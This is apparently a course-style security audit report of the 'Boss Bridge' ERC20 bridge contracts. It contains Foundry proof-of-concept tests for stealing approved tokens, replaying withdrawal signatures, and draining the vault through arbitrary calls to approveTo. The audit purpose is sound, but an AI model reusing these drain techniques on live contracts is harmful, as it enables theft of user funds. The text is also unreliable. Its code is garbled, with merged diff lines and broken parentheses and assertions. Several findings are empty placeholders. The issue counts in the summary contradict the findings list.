

Boss Bridge Audit
Report Abdikadr Jerow
November 28, 2024

Report

Version 0.1

Cyfrin.io

November 28, 2024

Boss Bridge Audit Report

Abdikadr Jerow

November 28, 2024

Boss Bridge Audit Report

Prepared by: Abdikadr Jerow Lead Auditors:

- Abdikadr Jerow <https://www.linkedin.com/in/abdikadr-jerow-07179b157/>

Assisting Auditors:

- None

Table of contents

See table

- Boss Bridge Audit Report
- Table of contents
- About Abdikadr Jerow
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Users who give tokens approvals to L1BossBridge may have those assest stolen
 - * [H-2] Calling depositTokensToL2 from the Vault contract to the Vault contract allows infinite minting of unbacked tokens
 - * [H-3] Lack of replay protection in withdrawTokensToL1 allows withdrawals by signature to be replayed
 - * [H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds
 - * [H-5] CREATE opcode does not work on zksync era 1
 - * [H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd
 - * [H-7] The L1BossBridge::withdrawTokensToL1 function has no validation on the withdrawal amount being the same as the de posited amount in L1BossBridge::depositTokensToL2, allow ing attacker to withdraw more funds than deposited
 - * [H-8] TokenFactory::deployToken locks tokens forever
 - Medium
 - * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
 - Low
 - * [L-1] Lack of event emission during withdrawals and sending tokens to L1

- * [L-2] TokenFactory::deployToken can create multiple token with same symbol
- * [L-3] Unsupported opcode PUSH0
- Informational
 - * [I-1] Insufficient test coverage

About Abdikadr Jerow

My name is Abdikadr Jerow, a dedicated Smart Contract Security Auditor with a robust background in blockchain development. With hands-on experience in smart contract development and auditing, I specialize in identifying and mitigating vulnerabilities to ensure secure, efficient, and reliable blockchain applications. My prior role as a blockchain developer honed my skills in creating decentralized solutions, enabling me to bring a developer's perspective to security assessments. I am passionate about fostering trust and resilience in blockchain systems, empowering businesses to innovate securely within the decentralized landscape

Disclaimer

Abdikadr Jerow makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

				2
				Impact
				High Medium Low
			High H H/M M	
	Likelihood	Medium H/M M M/L		
		Low M M/L L		

Audit Details

The findings described in this document correspond the following commit hash:

07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
#-- src
| #-- L1BossBridge.sol
| #-- L1Token.sol
| #-- L1Vault.sol
| #-- TokenFactory.sol
```

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the “Boss Bridge Token” or “BBT”) from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or “signers”). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It’s worth highlighting that there’s little-to-no on-chain mechanism to verify withdrawals, other than the operator’s signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Roles

- Bridge owner: can pause and unpause withdrawals in the L1BossBridge contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the L1BossBridge contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

Issues found

Severity Number of issues found

High 4

Medium 1

Low 1

Info 0

Gas 0

Total 6

Findings

High

[H-1] Users who give tokens approvals to L1BossBridge may have those assets stolen

The depositTokensToL2 function allows anyone to call it with a from address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the l2Recipient parameter).

As a PoC, include the following test in the L1BossBridge.t.sol file:

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);

    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external wh+ function
depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused { if
(token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
    revert L1BossBridge__DepositLimitReached();
}
- token.transferFrom(from, address(vault), amount);
+ token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding tokens on L2 - emit
    Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling depositTokensToL2 from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

depositTokensToL2 function allows the caller to specify the from address, from which tokens are taken.

Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the depositTokensToL2 function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the Deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves.

As a PoC, include the following test in the L1TokenBridge.t.sol file:

```
function testCanTransferFromVaultToVault() public {
    vm.startPrank(attacker);

    // assume the vault already holds some tokens
    uint256 vaultBalance = 500 ether;
    deal(address(token), address(vault), vaultBalance);

    // Can trigger the `Deposit` event self-transferring tokens in the vault 5

    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);

    // Any number of times
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(vault), address(vault), vaultBalance);
    tokenBridge.depositTokensToL2(address(vault), address(vault), vaultBalance);
}
```

```

    vm.stopPrank();
}

```

As suggested in H-1, consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

[H-3] Lack of replay protection in withdrawTokensToL1 allows with draws by signature to be replayed

Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanism (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

As a PoC, include the following test in the L1TokenBridge.t.sol file:

```

function testCanReplayWithdrawals() public {
    // Assume the vault already holds some tokens
    uint256 vaultInitialBalance = 1000e18;
    uint256 attackerInitialBalance = 100e18;
    deal(address(token), address(vault), vaultInitialBalance);
    deal(address(token), address(attacker), attackerInitialBalance);

    // An attacker deposits tokens to L2
    vm.startPrank(attacker);
    token.approve(address(tokenBridge), type(uint256).max);
    tokenBridge.depositTokensToL2(attacker, attackerInL2, attackerInitialBalance);

    // Operator signs withdrawal.
    (uint8 v, bytes32 r, bytes32 s) =
        _signMessage(_getTokenWithdrawalMessage(attacker, attackerInitialBalance), operator

    // The attacker can reuse the signature and drain the vault.
    while (token.balanceOf(address(vault)) > 0) {

        tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s); }
    assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
    vaultInitialBalance, assertEq(token.balanceOf(address(vault)), 0);
}

```

Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

The L1BossBridge contract includes the sendToL1 function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes its approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

To reproduce, include the following test in the L1BossBridge.t.sol file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption that the // bridge operator needs
    // to see a valid deposit tx to then allow us to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed bytes memory
    message = abi.encode(
        address(vault), // target

        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault))); }
```

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-5] CREATE opcode does not work on zksync era

[H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd

Not shown in video

[H-7] The L1BossBridge::withdrawTokensToL1 function has no validation on the withdrawal amount being the same as the deposited amount in L1BossBridge::depositTokensToL2, allowing attacker to withdraw more funds than deposited

Not shown in video

[H-8] TokenFactory::deployToken locks tokens forever

Not shown in video

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation,

8

or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Neither the sendToL1 function nor the withdrawTokensToL1 function emit an event when a withdrawal operation is successfully executed. This prevents

off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the sendToL1 function to include a new event that is always emitted upon completing withdrawals.

Not shown in video

[L-2] TokenFactory::deployToken can create multiple token with same symbol

Not shown in video

[L-3] Unsupported opcode PUSH0

Informational

[I-1] Insufficient test coverage

Running tests...

File	% Lines	% Statements	% Branches	% Funcs		-----	-----	-----
-----	-----	src/L1BossBridge.sol	86.67% (13/15)	90.00% (18/20)	83.33% (5/6)	83.33% (5/6)	src/L1Vault.sol	0.00% (0/1)
0.00% (0/1)	0.00% (0/1)	100.00% (0/0)	0.00% (0/1)	src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00% (0/0)	100.00% (2/2)
Total	85.00% (17/20)	88.00% (22/25)	83.33% (5/6)	77.78% (7/9)				

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.